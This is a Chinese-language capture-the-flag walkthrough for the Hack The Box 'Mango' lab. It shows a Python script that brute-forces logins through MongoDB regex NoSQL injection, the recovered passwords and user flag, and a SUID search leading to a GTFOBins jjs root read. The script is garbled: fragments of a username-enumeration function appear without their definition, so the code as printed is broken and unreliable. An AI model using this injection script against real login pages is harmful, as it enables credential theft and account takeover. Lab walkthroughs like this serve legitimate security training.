HTB mango靶机实战

信息收集#

22端口，80端口，443端口

这里改一下host

staging-order.mango.htb

访问网站

user flag#

有点坑，是mongodb，nosql注入

参考爆破脚本

#!/usr/bin/env python  

import requests  

import string  

  

url = "http://staging-order.mango.htb/index.php"  

headers = {"Host": "staging-order.mango.htb"}  

cookies = {"PHPSESSID": "9k6j39np56td4vq3q4lg4eh95j"}  

possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]  

def get_password(username):  

    print("Extracting password of " + username)  

    params = {"username":username, "password[$regex]":"", "login": "login"}  

    password = "^"  

    while True:  

        for c in possible_chars:  

            params["password[$regex]"] = password + c + ".*"  

            pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

            if int(pr.status_code) == 302:  

                password += c  

                break  

        if c == possible_chars[-1]:  

            print ("Found password "+password[1:].replace("\\", "")+" for username "+username)  

            return password[1:].replace("\\", "")

                        username += c2  

                        print(username)  

                        break

                    print("Found username: " +username[1:])  

                    usernames.append(username[1:])  

                    break  

    return usernames  

for u in get_usernames():  

    get_password(u)

爆出密码

Found username: mango
Extracting password of admin
Found password t9KcS3>!0B#2 for username admin
Extracting password of mango
Found password h3mXK8RhU~f{]f5H for username mango

使用mango用户登陆

切换为admin

userflag

$ cat user.txt
79bf31c6c6eb38a8567832f7f8b47e92

root flag#

sudo -l 试一下

find / -user root -perm -4000 2>/dev/null

寻找SUID

根据https://gtfobins.github.io/gtfobins/jjs/可直接读取到root.txt
